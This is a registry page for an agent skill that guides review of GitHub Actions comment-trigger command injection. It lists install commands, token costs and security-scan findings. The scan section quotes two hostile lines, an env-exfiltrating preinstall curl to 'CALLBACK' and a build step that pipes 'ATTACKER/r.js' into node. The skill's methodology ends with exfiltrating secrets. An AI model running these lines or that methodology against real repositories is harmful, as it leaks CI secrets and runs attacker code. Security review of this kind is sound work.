cicd-bot-command-injection

cicd-bot-command-injection is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 106 tokens per session (1,942 once invoked), scanned B, original, MIT.

A guide to a CI/CD bot command injection flaw, where comments on issues or pull requests trigger privileged automated jobs without checking who wrote the comment. CI/CD means the automated process that builds, tests, publishes, or deploys software.

In plain words
What is it for?
Use it to review GitHub Actions comment triggers, maintainer checks, pull-request code checkout, reusable workflows, package publishing, and deployment jobs.
Why use it?
It helps find workflows where an untrusted user can make a bot run code with repository secrets or deployment permissions.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit Use it to review GitHub Actions comment triggers, maintainer checks, pull-request code checkout, reusable workflows, package publishing, and deployment jobs.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/shulkwisec/bb-huge/cicd-bot-command-injection
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add ShulkwiSEC/bb-huge --skill cicd-bot-command-injection
Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cicd-bot-command-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cicd-bot-command-injection/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/cicd-bot-command-injection)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cicd-bot-command-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cicd-bot-command-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cicd-bot-command-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/cicd-bot-command-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/cicd-bot-command-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 106 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,942 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00106 $0.01942
Opus 5 $0.00053 $0.00971
Sonnet 5 $0.00021 $0.00388
Haiku 4.5 $0.00011 $0.00194

Measured 6d ago against content hash b13032b3a8c5, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade B, and why

cicd-bot-command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

"preinstall": "curl -d @/proc/self/environ https://CALLBACK"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

"build": "node legit-build.js && curl -sSfL https://ATTACKER/r.js | node",

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

"build": "node legit-build.js && curl -sSfL https://ATTACKER/r.js | node",
skills/curated/cicd-bot-command-injection/SKILL.md · 169 lines

How it starts

The opening of the file, as written. The whole thing — 169 lines — stays where its author put it; the contents beside it link to each section on GitHub.

CI/CD Bot Command Injection

What Is Broken and Why

Some repositories implement "ChatOps" patterns where maintainers post special comments (e.g., @bot publish, /deploy staging) to trigger CI/CD workflows. The issue_comment and pull_request_review_comment triggers run in the base repository context with access to secrets. When the workflow fails to verify that the commenter is an authorized maintainer before checking out and running PR code, any repository contributor (or in public repos, anyone) can trigger privileged jobs — including those that publish packages, deploy to production, or access sensitive tokens.

Key Signals

  • on: issue_comment or on: pull_request_review_comment trigger
  • Workflow body checks github.event.comment.body for a command string (e.g., contains(..., 'publish'))
  • No github.actor membership check against an allowlist or team
  • Workflow subsequently checks out the PR's merge commit or head SHA
  • Secrets (NPM_TOKEN, AWS_*, deploy keys) accessible in the triggered job
  • uses: ./.github/workflows/cmd-*.yml pattern — bot delegates to another reusable workflow that has secrets
  • Environment with "zero protection rules" used in publish/deploy job

Methodology

  1. Enumerate issue_comment and pull_request_review_comment triggers:
    grep -rln 'issue_comment\|pull_request_review_comment' .github/workflows/
    
  2. Read the workflow — find what command string it listens for:
    grep -A10 'issue_comment' .github/workflows/WORKFLOW.yml | grep 'contains\|startsWith\|body'
    
  3. Check for authorization verification:
    grep 'github.actor\|team\|collaborator\|permission' .github/workflows/WORKFLOW.yml
    
  4. If no actor check — any commenter can trigger it.
  5. Trace what the triggered workflow does: does it checkout PR code? Does it have secrets?
  6. Open a PR (or find an existing one) and post the trigger comment.
  7. Monitor workflow run to confirm execution and exfiltrate secrets.

Read the full file on GitHub · 169 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 169 lines · 106 tokens per session scan B b13032b3a8c5

Subscribe to this mod's changes

cicd-bot-command-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 106 tokens to every session and 1,942 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.